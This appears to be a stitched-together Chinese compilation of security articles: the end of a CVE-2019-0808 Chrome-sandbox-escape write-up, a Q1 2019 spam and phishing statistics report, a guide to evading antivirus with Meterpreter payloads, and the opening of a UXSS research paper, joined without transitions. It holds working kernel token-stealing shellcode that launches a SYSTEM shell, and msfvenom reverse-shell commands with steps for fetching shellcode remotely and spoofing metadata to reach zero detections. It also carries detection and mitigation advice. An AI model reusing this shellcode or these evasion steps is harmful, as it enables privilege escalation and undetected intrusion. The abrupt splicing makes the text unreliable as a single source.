__declspec(noinline) int Shellcode()
{
       __asm {
              xor eax, eax // Set EAX to 0.
              mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
                                                                              // _KTHREAD is located at FS:[0x124]
 
              mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
              mov ecx, eax // Copy current process _EPROCESS structure
              xor edx, edx // Set EDX to 0.
              mov DWORD PTR [ecx + 0x124], edx // Set the JOB pointer in the _EPROCESS structure to NULL.
              mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
 
              SearchSystemPID:
                     mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
                     sub eax, 0B8h
                     cmp [eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
                     jne SearchSystemPID
 
              mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
              mov [ecx + 0xF8], edx // Assign SYSTEM process token.
       }
}

这里的修改采用了Chrome渲染器进程的EPROCESS结构,并且其作业指针为NULL。这样做的目的,是因为在尝试过程中发现,即使Shellcode窃取了SYSTEM令牌,该令牌仍然会继承Chrome渲染器进程的作业对象,从而阻止漏洞利用生成任何子进程。在更改Chrome渲染器进程的令牌之前,将Chrome渲染器进程中的作业指针清空,将会从Chrome渲染器进程和稍后分配给它的任何令牌中删除作业限制,从而防止这种情况发生。

为了更好地理解对作业对象进行NULL操作的重要性,我们需要检查以下令牌转储,以获取正常的Chrome渲染器进程。需要注意的是,作业对象字段已经填写,因此作业对象限制当前正在应用于该进程。

0: kd> !process C54
Searching for Process with Cid == c54
PROCESS 859b8b40  SessionId: 2  Cid: 0c54    Peb: 7ffd9000  ParentCid: 0f30
    DirBase: bf2f2cc0  ObjectTable: 8258f0d8  HandleCount: 213.
    Image: chrome.exe
    VadRoot 859b9e50 Vads 182 Clone 0 Private 2519. Modified 718. Locked 0.
    DeviceMap 9abe5608
    Token                             a6fccc58
    ElapsedTime                       00:00:18.588
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         351516
    QuotaPoolUsage[NonPagedPool]      11080
    Working Set Sizes (now,min,max)  (9035, 50, 345) (36140KB, 200KB, 1380KB)
    PeakWorkingSetSize                9730
    VirtualSize                       734 Mb
    PeakVirtualSize                   740 Mb
    PageFaultCount                    12759
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      5378
    Job                               859b3ec8
 
        THREAD 859801e8  Cid 0c54.08e8  Teb: 7ffdf000 Win32Thread: fe118dc8 WAIT: (UserRequest) UserMode Non-Alertable
            859c6dc8  SynchronizationEvent

为了确认这些限制确实存在,我们可以在Process Explorer中检查该进程的进程令牌。通过该进程,能够确认作业确实存在许多限制,比如禁止生成子进程。

7.png

如果该进程令牌中的“作业”字段设置为NULL,则WinDBG的!process命令不会再将作业与对象关联。

1: kd> dt nt!_EPROCESS 859b8b40 Job
   +0x124 Job : 0x859b3ec8 _EJOB
1: kd> dd 859b8b40+0x124
859b8c64  859b3ec8 99c4d988 00fd0000 c512eacc
859b8c74  00000000 00000000 00000070 00000f30
859b8c84  00000000 00000000 00000000 9abe5608
859b8c94  00000000 7ffaf000 00000000 00000000
859b8ca4  00000000 a4e89000 6f726863 652e656d
859b8cb4  00006578 01000000 859b3ee0 859b3ee0
859b8cc4  00000000 85980450 85947298 00000000
859b8cd4  862f2cc0 0000000e 265e67f7 00008000
1: kd> ed 859b8c64 0
1: kd> dd 859b8b40+0x124
859b8c64  00000000 99c4d988 00fd0000 c512eacc
859b8c74  00000000 00000000 00000070 00000f30
859b8c84  00000000 00000000 00000000 9abe5608
859b8c94  00000000 7ffaf000 00000000 00000000
859b8ca4  00000000 a4e89000 6f726863 652e656d
859b8cb4  00006578 01000000 859b3ee0 859b3ee0
859b8cc4  00000000 85980450 85947298 00000000
859b8cd4  862f2cc0 0000000e 265e67f7 00008000
1: kd> dt nt!_EPROCESS 859b8b40 Job
   +0x124 Job : (null)
1: kd> !process C54
Searching for Process with Cid == c54
PROCESS 859b8b40  SessionId: 2  Cid: 0c54    Peb: 7ffd9000  ParentCid: 0f30
    DirBase: bf2f2cc0  ObjectTable: 8258f0d8  HandleCount: 214.
    Image: chrome.exe
    VadRoot 859b9e50 Vads 180 Clone 0 Private 2531. Modified 720. Locked 0.
    DeviceMap 9abe5608
    Token                             a6fccc58
    ElapsedTime                       00:14:15.066
    UserTime                          00:00:00.015
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         351132
    QuotaPoolUsage[NonPagedPool]      10960
    Working Set Sizes (now,min,max)  (9112, 50, 345) (36448KB, 200KB, 1380KB)
    PeakWorkingSetSize                9730
    VirtualSize                       733 Mb
    PeakVirtualSize                   740 Mb
    PageFaultCount                    12913
    MemoryPriority                    BACKGROUND
    BasePriority                      4
    CommitCharge                      5355
 
        THREAD 859801e8  Cid 0c54.08e8  Teb: 7ffdf000 Win32Thread: fe118dc8 WAIT: (UserRequest) UserMode Non-Alertable
            859c6dc8  SynchronizationEvent

再次检查Process Explorer,我们可以确认,由于Chrome渲染的进程令牌中的“作业”字段已为NULL,因此不再有与Chrome渲染器进程关联的任何作业。我们可以在下面的屏幕截图中看到,Chrome渲染器进程无法再使用“作业”选项卡,因为不再有任何作业与之关联,也就意味着它现在可以生成任何想要的子进程。

8.png

5.11 派生新进程

一旦Shellcode()执行完成,WindowHookProc()将进行检查,以查看变量success是否设置为TRUE,该变量表明漏洞利用已经成功完成。如果已经成功完成,那么它将在返回执行到main()之前打印成功的消息。

if (success == TRUE) {
       printf("[*] Successfully exploited the program and triggered the shellcode!\r\n");
}
else {
       printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n");
       ExitProcess(-1);
}

main()将退出其窗口消息处理循环,因为后续没有更多的消息需要处理。随后,会执行检查,确认是否成功(设置为TRUE)。如果是,则将执行堆WinExec()的调用,以使用被盗的SYSTEM令牌执行具有SYSTEM权限的cmd.exe。

// Execute command if exploit success.
if (success == TRUE) {
       WinExec("cmd.exe", 1);
}

六、演示视频

在下面的视频中,展示了该漏洞如何与István Kurucsai的CVE-2019-5786漏洞利用相结合,以形成Google博客文章中描述的“完全可用的漏洞利用链”。请注意,尽管Chrome沙箱存在限制,但攻击者可以从Chrome中以SYSTEM身份运行任意命令。

视频:https://youtu.be/itd71Iz0iwg

我们可以在GitHub上找到完整漏洞利用链的代码:

https://github.com/exodusintel/CVE-2019-0808

七、检测方法

可以通过检查用户模式应用程序来发现是否存在漏洞利用的尝试,以查看它们是否使用lpClassName参数“#32768”对CreateWindow()或CreateWindowEx()进行任何调用。任何表现出这种行为模式的用户模式应用程序都有可能是恶意的,因为类字符串“#32768”是为系统使用而保留的,因此应该进一步对这些应用程序进行检查。

八、缓解方案

运行Windows 8或更高版本的操作系统可以防止攻击者利用此漏洞,因为Windows 8及更高版本会阻止应用程序映射第一个64 KB的内存,这也就意味着攻击者无法在空页面附件分配NULL页面或内存(例如0x30)。此外,升级到Windows 8或更高版本还允许Chrome的沙箱阻止对win32k.sys的所有调用,从而防止攻击者能够调用NtUserMNDragOver()来触发此漏洞。

在Windows 7上,唯一可能的缓解措施是应用KB4489878或KB4489885补丁,可以从CVE-2019-0808的公告页面中的链接中下载。

九、总结

要实现Chrome沙箱逃逸,需要满足许多要求。但是,通过将正确的漏洞利用与Windows 7的有限缓解措施相结合,可以成功复现最初Google在博客文章中描述的0-Day漏洞利用链。

因此,需要用户对漏洞进行及时详细的分析,并在组织内采用缓解措施,启用检测和响应功能。同时,企业的SOC/NOC团队还可以订阅nDay来监控关键资产。

一、本季度重点关注

1.1 情人节相关钓鱼活动

在每年的第一季度,都有一些网络钓鱼活动与情人节主题相结合,其目标在于窃取用户有价值的机密信息,例如银行卡的详细信息。网络犯罪分子通常会利用在线花店和交友网站作为诱饵,开展网络钓鱼活动。

1.png

最常见的网络钓鱼方式是投放广告,邀请用户为亲人订购礼物,或者邀请用户购买一些药物。一旦用户受到诱导,点击此类邮件中的链接,则他们的详细付款信息将会被发送给网络犯罪分子。

2.png

1.2 新推出的Apple产品

在3月下旬,Apple推出了最新款产品,网络诈骗组织也随之伺机而动,迅速投身于此类诈骗活动之中。诈骗者往往会首先创建一个与官方Apple服务高度相似的虚假网站,然后将用户重定向该网站。根据我们的统计,此类诈骗方式的尝试次数呈大幅增长趋势。

将用户重定向到网络钓鱼Apple网站的次数呈现增长趋势:

3.png

伪造的Apple ID登录页面:

4.png

诈骗者通过网络钓鱼电子邮件的方式实现第一步诈骗,这些邮件看似来自Apple官方,试图欺骗收件人点击链接,并在伪造的Apple ID登录页面上输入登录凭据。

5.png

1.3 虚假的技术支持

虚假的客户支持电子邮件,通常是最受欢迎的线上欺诈类型之一。近期,这一类型的消息数量呈大幅增长趋势。在一些技术论坛和社交网络中,都可以看到虚假的技术支持网站的链接,并且后面往往还伴随着诸多好评。

伪造的“卡巴斯基实验室支持服务”帐户:

6.png

在Q1,我们监测到的所有虚假技术支持,都有一个共同特点——它们会在与某家公司货某个产品相关的事务上提供帮助,并承诺由经过专门培训、高服务质量的员工提供帮助。毋庸置疑,此类“帮助”并不是免费的。不仅用户的问题无法得到解决,并且用户可能会受到进一步的欺骗。

1.4 新Instagram“功能”

自去年,我们发现,网络钓鱼攻击者和其他诈骗着已经不再局限于邮件领域,开始转战流行的社交网络Instagram之中。在本季度,这样的趋势仍在继续,欺诈者充分利用IG这项服务,不仅在评论中发送网络钓鱼的链接,此外还注册帐户,发送付费广告帖文,甚至还诱导知名人士分发恶意内容。

网络犯罪者借助相同的手段,以承诺的产品或服务来吸引受害者,而这些产品或服务的价格通常比较低廉。

7.png

像往常一样,在这些恶意活动中,诈骗者要求买方提供姓名、银行卡信息等详尽的资料。毫无疑问,用户在提交这些信息后,他们的个人数据将会被泄露到攻击者那里。

8.png

1.5 邮件网络钓鱼

在第一季度,我们以自动提醒的形式注册了几个网络钓鱼邮件,这些邮件伪装成管理合法邮件列表的主要服务。诈骗者通常以“验证帐户”或“更新付款信息”为借口,诱导收件人点击网络钓鱼链接。其中,一些虚假域名所使用的名称与真实服务的域名类似,还有一些网站会将受害者重定向到虚假的授权表单。

9.png

1.6 通过ACH系统发送金融垃圾邮件

在第一季度,我们观察到针对自动清算所(ACH)用户的垃圾邮件呈大幅增加的趋势,ACH是一个处理消费者与美国小型企业交易的电子支付系统。在这些邮件中,包含关于普通用户或公司所谓的转账状态的虚假通知。此类邮件中包含恶意附件(压缩包或文档格式)以及下载被恶意软件感染的文件的链接。

10.png

1.7 理想的工作Offer

在Q3,我们发现了一些包含理想的工作Offer的垃圾邮件。在本季度,我们发现了另一个主要的邮件类型——以知名公司的名义,发送Offer邮件,从而吸引大量潜在的申请者。诈骗者邀请收件人在他们的计算机上安装一个特殊的应用程序,从而免费注册求职系统,以访问数据库。当受害者尝试从“云服务”下载程序时,将会向用户弹出一个标题为“DDoS Protection”的弹出窗口,以及一个指向在线招聘公司网站的链接的消息(其中包含了一些受欢迎的企业名称)。一旦用户相信,就会将包含Trojan.MSOffice.Sagent.gen的恶意Word文档下载到计算机上,然后会进一步将Trojan-Banker.Win32.Gozi.bqr下载到受害者的计算机上。

11.png

1.8 勒索软件和加密货币

正如我们所预料的那样,网络犯罪者对加密货币的兴趣并没有减弱。垃圾邮件发送者持续通过“sextortion”的方式,诱使用户支付加密货币,这也是我们在去年所讨论过的一个话题。

12.png

在2019Q1,我们发现了一个非常值得特别关注的诈骗邮件计划,网络犯罪分子以中央情报局为名义发送邮件,声称可以访问收件人的案件档案,并声称这些收件人涉嫌涉及与未成年人色情相关的案件。

在邮件中,他们虚构了一些机构的员工姓名,其姓名在不同的邮件中有所不同,他们声称已经在案件的档案中发现受害者的详细信息(实际上是从社交网络、在线聊天或论坛中收集的)。诈骗者声称这是在全球27个国家中逮捕2000多名恋童嫌疑人的国际行动的一部分。然而,这名“机构员工”碰巧知道受害者比较有钱,需要保护自己的声誉,因此勒索其支付10000美元的等值比特币。

13.png

诈骗者利用了人们担心个人隐私被泄露的心理,采用了与去年相同的技巧,在勒索邮件中提及了访问个人数据、发现色情信息等内容。但这一次,为了使勒索邮件更具说服力和恐吓性,诈骗者使用了“中央情报局官员”这样的名义实施诈骗。

1.9 针对企业合作伙伴的恶意攻击

在Q1,Runet的合作伙伴遭受到恶意垃圾邮件的攻击。邮件的内容模范了真实的商业信函,而这些信息看似是来自受害者企业的合作伙伴。

14.png

我们还观察了恶意邮件的内容,这些恶意邮件以提供信息服务的美国公司为名义,通过分发虚假信息的方式来窃取国际公司的财务信息。除了附件之外,邮件中不包含任何内容。之所以不填写正文,实际上是为了诱导更多的受害者打开包含Trojan.MSOffice.Alien.gen的附件,随后在计算机上下载并安装Trojan-Banker.Win32.Trickster.gen。

15.png

1.10 针对银行业的攻击

银行已经逐渐成为网络钓鱼的最高级目标。诈骗者不断尝试,将合法域名替换为发件人的地址,复制合法电子邮件的布局格式,并设计合理的借口来尽可能地使他们的虚假邮件变得可信。在第一季度,网络钓鱼者利用一些知名的事件来说服受害者打开邮件。例如,他们在邮件中插入了一个关于基督城恐怖袭击的短语。攻击者希望借助这种方式,再加上以新西兰银行作为发件人的名称,能够增强邮件的可信度。在邮件的正文中,声称该银行已经引入了一些新的安全功能,需要更新帐户详细信息后才可以使用。

16.png

该链接将用户导向到一个仿冒新西兰银行登录页面的网络钓鱼站点。在单击“登录”按钮后,站点上输入的所有数据都将被传送给网络犯罪分子。

17.png

二、统计:垃圾邮件

2.1 电子邮件通信中垃圾邮件占比

全球邮件通信中的垃圾邮件占比(2018Q4与2019Q1对比):

18.png

在2019年第一季度,3月份的垃圾邮件占比最高,达到56.33%。全球邮件通信中垃圾邮件的平均百分比为55.97%,几乎与2018年第四季度相同(增长0.07个百分点)。

Runet邮件通信中垃圾邮件占比(2018Q4与2019Q1对比):

19.png

1月份,俄罗斯互联网通信中垃圾邮件数量到达峰值(56.19%)。该季度的平均值为55.48%,与2018年第四季度相比增长2.01个百分点。

2.2 国家分布

2019年第一季度垃圾邮件来源国家分布:

20.png

最主要的垃圾邮件来源国家为中国(15.82%)和美国(12.64%)。以往位于第三名的德国在本季度中排名第五(5.86%),取而代之的是俄罗斯(6.98%)。巴西(6.95%)排名第四,法国(4.26%)排名第六,接下来分别是阿根廷(3.42%)、波兰(3.36%)、印度(2.58%)和越南(2.18%)。

2.3 邮件大小分布

垃圾邮件大小分布图(2018Q4与2019Q1对比):

21.png

在2019年第一季度,较小的垃圾邮件(小于2KB)占比与2018年第四季度相比增长了7.14个百分点,占比73.98%。2-5KB的邮件占比下降至8.27%,下降3.15个百分点。10-20KB邮件占垃圾邮件通信的5.11%,与2018年第四季度相比增长1.08个百分点。大小为20-50KB的邮件占比达到3.00%,与2018年第四季度相比增长0.32个百分点。

2.4 邮件附件中恶意软件分布

邮件流量中排名前十的恶意软件家族(2019年第一季度):

22.png

在2019年第一季度,邮件通信中最常见的恶意软件是Exploit.MSOffice.CVE-2017-11882,占比7.73%。排在第二位的是Backdoor.Win32.Androm,占比7.62%。Worm.Win32.WBVB(4.80%)位居第三名。接下来,Office的另一个漏洞利用Exploit.MSOffice.CVE-2018-0802占比2.81%位居第四名,而Trojan-Spy.Win32.Noon(2.42%)则排名第五。

2.5 目标国家(地区)分布

恶意邮件针对的目标国家/地区(2019年第一季度):

23.png

根据邮件反病毒系统的统计结果,德国(11.88%)再次进入目标国家的第一名,其次是越南(6.24%),接下来是俄罗斯(5.70%)。

三、统计:网络钓鱼

在2019年第一季度,反网络钓鱼系统共阻止了111832308次将用户引导至诈骗网站的尝试。在全球范围中,有12.11%的卡巴斯基实验室用户遭受了此类攻击。

3.1 地理位置分布

在2019年第一季度,遭受网络钓鱼攻击的用户所占比例最大的国家是巴西,占21.66%,与上一季度相比上升1.53个百分点。

网络钓鱼攻击地理分布:

24.png

排名第二的是澳大利亚(17.20%),上升2.42个百分点。西班牙的排名提升1位,占比为16.96%,增长0.87个百分点,且略高于葡萄牙(16.86%)和委内瑞拉(16.72%),位居前五。

25.png

3.2 组织分布

基于卡巴斯基实验室反网络钓鱼组件的检测结果,我们对网络钓鱼者针对不同组织的攻击进行了评级。当用户尝试通过单击电子邮件或社交媒体消息中的链接,或因恶意软件活动而打开网络钓鱼页面时,该组件都将会被激活。在触发组件后,浏览器中会显示一个横幅,警告用户可能存在威胁。

本季度,银行业仍然占据被攻击次数排名的首位,对信贷组织的攻击比例增长了5.23个百分点,去年第四季度占比为25.78%。

遭受网络钓鱼攻击的组织分布(2019年第一季度):

26.png

第二名是全球互联网门户网站(19.82%),而支付系统则排名第三(17.33%)。

四、结论

在2019年第一季度,全球邮件通信中垃圾邮件的平均占比上升了0.06个百分点。与上一季度的报告周期相比,我们的反网络钓鱼系统阻止了超过111832308次到钓鱼网站的重定向活动,该数值增长了35220650次。

如本文前面所述,诈骗者仍然不断尝试利用热点媒体事件(例如:Apple新产品发布、新西兰恐怖袭击)来实现自己的目的。此外,Sextortion并没有消失,而相反,为了使其更加可信,网络犯罪分子已经编篡了关于邮件发送者的新背景故事。

最重要的是,攻击者持续使用社交网络来实现他们的恶意活动,并利用知名人士发布广告活动,从而扩大这些恶意活动的影响范围。

一、概述

反病毒方案通常用于检测恶意软件,并且通常要依靠静态分析来区分文件的好坏。如果文件自身就包含恶意内容,那么这种方法会有效。但如果攻击者使用轻量级的Stager来代替下载,并将代码加载到内存中,那么会发生什么呢?事实证明,这是绕过反病毒软件的一种好方法。

尽管这种方法并不新鲜,但绕过反病毒软件对于大多数现代恶意软件来说都很常见,我们希望提供一些有关如何构建此类Payload时应该采取步骤的思路,并说明防御者如何使用常见的EDR工具来大规模检测此类活动。

在本文中,我们将使用VirusTotal作为检测的标准,并使用Metasploit反向TCP ShellCode作为Payload。这提供了一种粗略的方法,可以衡量出Payload的有效性,但是需要注意的是,只有动态检测或基于行为的检测,才能捕获到现实世界中的Payload。

二、攻击方式

2.1 Msfvenom文件创建

我们从基础知识开始,首先使用msfvenom创建一个反向Shell可执行Payload,其中包括以下命令:

msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f exe –o met.exe

将此文件上传到VirusTotal,发现它被大量反病毒引擎标记,这是正常的,因为它是一个常见的Payload,许多安全厂商都会针对Metasploit进行检测与查杀。

1.png

鉴于将该文件标记为恶意的引擎数量较多,所以大部分EDR都能够有效检测出来。此外,某些引擎命中的名称也很好的说明了该文件的性质,例如:Trojan:win32/Meterpreter.O。

2.2 嵌入式Meterpreter ShellCode

鉴于大多数反病毒厂商都掌握了Metasploit可执行模板的签名,因此我们决定创建自己的可执行文件,然后再执行Metasploit ShellCode。我们再次使用msfvenom,但在这次只生成ShellCode,而不是完整的可执行文件:

msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f c

2.png

我们将ShellCode复制到一个单独的C++源文件中,通过这个简单的步骤,可以调用memcpy,以将指令加载到内存中。我们发现,VirusTotal的命中数量明显减少,由45减少到了14。

3.png

命中数量的减少,说明了反病毒签名与Metasploit可执行模板具有强相关性。但是,还有其他方法能够减少文件被VirusTotal引擎命中的数量。

2.3 远程托管ShellCode

我们测试的第三种技术,涉及到动态加载ShellCode。它不是使用已编写到二进制文件中的ShellCode编译可执行文件,而是在运行时检索ShellCode,并将其加载到内存中。

我们创建了一个名为get_shellcode()的函数,用于从另一台主机远程检索前面示例中使用的msfvenom ShellCode。该函数使用winhttp库中的各种方法,通过HTTP的方式检索ShellCode。此外,当从远程位置以ASCII格式检索ShellCode时,需要执行额外步骤,以将指令转换为准备执行的原始二进制格式。

4.png

这导致VirusTotal命中率从14下降到5。这表明,一些引擎可能使用了基于Metasploit ShellCode模式的签名。从二进制文件自身中删除ShellCode之后,它现在就能够绕过这些引擎。

5.png

2.4 元数据更改

一些反病毒引擎会查阅文件的元数据,从而判断其来源和安全性。Visual Studio提供了一种更改元数据的简单方法,允许我们修改二进制属性,从而使其与信誉良好的软件厂商匹配。我们唯一需要进行的步骤,就是向项目中添加“Version”资源,并从合法的可执行文件中复制条目。

6.png

在将cmd.exe中的元数据复制到可编辑的字段中后,我们将二进制文件重新提交到VirusTotal。这时,命中率减少到仅有3。这意味着,某些引擎会针对元数据来自信誉良好的厂商的文件增加倾向于合法的权重。

7.png

2.5 替代HTTP函数

尽管已经删除了Metasploit模板和ShellCode,并添加了元数据,但仍然可以捕获到Payload。为了获得0命中率,我们要思考,在这一过程遗漏了什么?

我们需要重新思考,首先要确定代码的哪个部分导致了告警。从直觉上,怀疑是函数VirtualAlloc(带有READWRITE_EXECUTE参数)和memcpy导致3个反病毒引擎认为该文件是可疑的,因为这些函数通常用于内存注入。然而,事实证明这是不正确的。实际上,为HTTP请求调用的函数可以获得远程托管的ShellCode,从而导致可疑的结果。我们使用的函数是:

WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle

幸运的是,Windows中提供了许多不同的库,可以用于下载数据,例如Winlnet、WinHTTP和Windows Sockets。通过切换到更加人工的基于套接字的实现,成功让任何反病毒引擎都不会将下载的代码标记为可疑。

8.png

然后,我们将其与先前演示的ShellCode加载进程相结合。

9.png

最终,Payload成功向侦听的主机发送了反向Shell,更重要的是,VirusTotal上的检出率为0。

10.png

本文所采取的步骤,展示了如何通过一些简单的修改,来使Payload绕过安全控制。然而,我们还可以选择许多其他选项,包括:

1. 在已知合法的二进制文件中插入Payload(https://github.com/secretsquirrel/the-backdoor-factory)。

2. 使用Veil(https://github.com/Veil-Framework/Veil)进行Payload的编码和加密。

3. 使用其他语言,例如:PowerShell、Python、Ruby、C#、Java、Go等。

4. 对Payload进行代码签名。

显然,作为攻击者,应该避免将文件提交到VirusTotal。

三、检测

在展示了如何创建二进制文件,从而动态加载代码并绕过VirusTotal之后,我们现在将讨论在我们的环境中发现此类可执行文件的一些不同的方式。

EDR终端通常会全面分析进程、网络、文件、注册表和模块加载事件。这些数据集中,有多种方法可以用于检测本文中展示的恶意二进制文件生成的活动。

3.1 进程/文件数据

当二进制文件执行EDR时,通常会追踪进程的名称、其父进程以及这些进程的元数据。通常,还集成了VirusTotal来帮助检测以前看到的恶意二进制文件。但是,有一些不同的狩猎用例,可以用于发现VirusTotal可能遗漏的恶意二进制文件,包括:

1. 普遍性:如果在VirusTotal或者我们的环境中从未发现过这个二进制文件,那么它可能会被归类为异常,并且可能具有恶意性质。

2. 元数据伪造:可以使用许多不同的搜索方式来检测元数据欺骗,其中最明显的一种,是扫描使用了Microsoft元数据,但不是Microsoft二进制文件的文件。

3.2 模块加载

模块加载信息可以帮助我们检测具有潜在可疑导入的二进制文件,例如WinHTTP或导入的异常组合。在本文中构建的二进制文件,需要执行网络通信和内存注入的功能。

例如,DLL和函数是:

WINHTTP.dll_WinHttpReadData
KERNEL32.dll_HeapAlloc
KERNEL32.dll_VirtualAlloc
VCRUNTIME140D.dll_memcpy
VCRUNTIME140D.dll_memset

搜索与这些DLL相关联的模块加载事件,或者任何其他DLL文件的缺失,可能会为我们提供一种搜索异常二进制文件的方式。请记住,尽管kernel32和winhttp被广泛使用,但如果只是单独搜索这些事件,将会产生大量的误报。

3.3 网络通信

建立进程网络通信的基线,可能是发现网络上异常二进制文件的一种强大技术。例如,我们可能需要考虑:

1. 文件名、路径、远程IP、远程端口的聚合数据。

2. 过滤掉浏览器、更新程序和核心Windows进程等常用进程。

3. 基于IP信誉,不断丰富已知合法、已知恶意和未分类的地址和域名。

这样的过程,应该可以帮助我们找到创建异常连接的二进制文件,例如本文中恶意文件的网络连接行为。

3.4 内存注入

本文中使用的Meterpreter Payload通过反射的方式将3个DLL加载到目标进程的内存之中,从而实现最终的恶意目的。可以使用现代的EDR工具,来检测注入代码的进程,以及所产生的异常存储区域。

例如,Countercept的EDR终端可以突出显示具有读取、写入执行权限和包含DLL特定指标(例如:MZ和PE标头)的异常区域。

11.png

截图中展现了4个反射加载的区域(1对应于Stager,而3对应于反射加载的DLL)。为了确认是使用Meterpreter作为植入物,可以选择几种不同的机制。第一种(也是最原始的一种)是查看区域的模块大小,这些大小与3个Meterpreter DLL的大小相近。另一种方法是手动或使用YARA分析区域中的内容。

四、YARA

有许多种不同的方法,可以大规模分析可执行文件。一种是使用YARA签名,它可以帮助我们扫描磁盘上的文件内容,或作为正在运行的进程加载到内存中。

4.1 字符串

在进行任何类型的恶意软件分析或逆向工程之前,采取的最简单步骤就是查看二进制,或内存转储中存在的字符串。我们的恶意二进制文件的字符串输出如下所示:转到第二个二进制文件,即调用写入源代码ShellCode的Windows C++程序,我们可以使用类似的检测方法。

12.png

没有任何其他上下文,这些字符串已经很好地指示了二进制文件的行为。IP地址(172.16.28.46)和WinHTTP调用的存在,表明程序可能会连接到该地址。此外,程序可能会尝试下载文件revshell.txt,似乎符合逻辑,但该文件实际上包含ShellCode的Payload。

4.2 ShellCode检测

这篇文章的前两个例子,是在二进制文件自身中包含ShellCode。而最终的示例会动态下载ShellCode,并将其存储在内存中。针对这两种情况,都可以检测到ShellCode为默认msfvenom Payload(如windows/meterpreter/reverse_tcp)具有的常见十六进制指令,无论它们使用了什么IP或端口。

为了演示具体的检测原理,我们将使用Radare打开二进制文件。搜索前几个十六进制指令,我们就可以找到ShellCode。

13.png    

在确认位置后,我们可以获取341个字节(Payload的大小)以获得完整的Payload。为了大规模执行此操作,我们可以将这个简单的十六进制搜索转换为Yara签名。

五、总结

VirusTotal这些平台的丰富来源,可以帮助安全团队有效地发现已知的恶意文件。然而,正如这篇文章所展示的,仅依靠VirusTotal不足以捕获所有可疑的文件,因为尽管已经是2019年,但编写可以逃避大多数反病毒引擎检测的可执行文件也是比较容易的。 

一、前言

UXSS(通用跨站脚本攻击)是一种攻击方式,利用浏览器或浏览器扩展中的客户端漏洞,在访问任意资源(来源)时执行恶意代码(通常为JavaScript)。简而言之:

受害者访问恶意网站(被攻陷/被感染)后,攻击者可以阅读受害者的Gmail内容、FaceBook上的私人消息,并可以代替受害者执行其他操作,例如发送电子邮件、上传照片等。

本项研究的主要目的,是分析此前三年来(2014年至2017年)Chromium浏览器中实施的潜在缓解措施,并探索可用于预防或检测UXSS漏洞的新技术。

二、背景

SOP(同源策略)是Web应用程序安全模型中最为重要的概念之一。基本上,它可以防止不同来源互相访问存储在客户端上的数据(即:Cookie、浏览器选项卡的内容、与某些Web应用程序相关的内容、客户端可用的内容)。

Origin是HTML标准中定义的URI方案,是主机与端口的组合。如果两个URI都使用了相同的协议(例如:HTTPS)、相同的主机(例如:google.com)和相同的端口(例如:443),那么就会将二者认为是同源的。否则,会判断两个URI属于不同源,默认情况下不能访问彼此的数据。

在JavaScript中,使用执行上下文(Execution Context)来表示代码被执行的环境。默认情况下的上下文是全局执行上下文(Global Execution Context),通常是在浏览器加载新页面时被创建。每个GEC都有自己的JS内置集,每个JS对象都与执行上下文相关联。API函数通常使用上下文来执行访问检查。

跨站脚本攻击(XSS)是一种客户端代码注入攻击,允许攻击者破坏用户与易受攻击的Web应用程序之间的交互。XSS漏洞通常允许攻击者以受害用户的身份执行任意操作,并访问网站上的任意数据,从而规避SOP。当Web应用程序使用用户提供的输入生成输出内容,而没有进行适当的验证时,就会产生这些漏洞。目前,XSS是最为广泛的Web应用程序攻击类型。

通用跨站脚本攻击(UXSS)可以在浏览器自身或浏览器扩展中利用漏洞来实现XSS的条件,而不再是在Web应用程序中利用漏洞。因此,攻击者不仅可以访问单个网站上的用户会话,还可以访问浏览器当前打开的任何页面,包括内部浏览器页面。对于使用任何浏览器的用户来说,对于任何浏览器来说,导致UXSS攻击的漏洞,都是最重要的威胁之一。Chromium Severity Guidelines将此类漏洞归类为高严重性漏洞。

从攻击者的角度来看,UXSS漏洞利用可能与沙箱逃逸的远程代码执行(RCE)攻击一样有价值,因为UXSS漏洞往往更加可靠,并且在许多情况下可以满足攻击者的需求,除非攻击者的目标是完全攻陷受害者的设备。

在这项研究中,经常涉及到Chromium的多进程架构。有关该主题的更多详细信息,请参阅Chromium的官方文档。本研究中最为相关的内容如下:

1、Browser Process是浏览器应用程序的最主要、特权最高的进程。该进程具有与其计算机上运行Chrome的用户相同的权限,包括对文件系统、网络栈、系统API等的访问权限。浏览器进程控制最高级别的浏览器窗口、用户界面、进程间通信,并进行其他高级管理操作。

2、Renderer Process是一个权限较低的进程,负责向用户显示网页并执行JavaScript。Chromium为浏览器中打开的不同网站创建了多个渲染器进程,其中每个进程都是独立的,并且都在沙箱中运行,因此与攻击浏览器进程(Browser Process)相比,攻击渲染器进程的风险相对更低。

Blink是Chromium使用的渲染引擎。

V8是Chromium使用的JavaScript和WebAssembly引擎。

在部署更新的导航(Navigation)架构(也称为PlzNavigate)之前(2017年10月之前),渲染器进程中的远程代码执行漏洞可以简单地转换为UXSS。其原因在于,导航是由渲染器进程启动的,而恶意代码可以绕过跨源安全检查。在PlzNavigate有效的情况下,浏览器进程负责处理所有导航请求,并执行策略。

此外,在2016年12月以前,将成功的UXSS漏洞利用转换为Android上的远程代码执行漏洞利用是非常简单的。简而言之,攻击者无需任何用户交互,也无需获得任何许可,即可在受害者的设备上安装任意应用程序。在此之后,在通过Web流安装应用程序时,始终会提示用户重新进行身份验证。

在Chrome的漏洞奖励计划中,针对UXSS和渲染器远程代码执行漏洞提交的金钱奖励是相同的。

三、概述

Chromium浏览器及其组件严格执行了同源策略的概念。依靠在Blink和V8上下文的安全模型中使用SOP和站点隔离等新功能,可以在各个层面上解决这一问题。但是,与任何其他复杂的软件项目一样,在某些情况下存在破坏这些保护的漏洞。

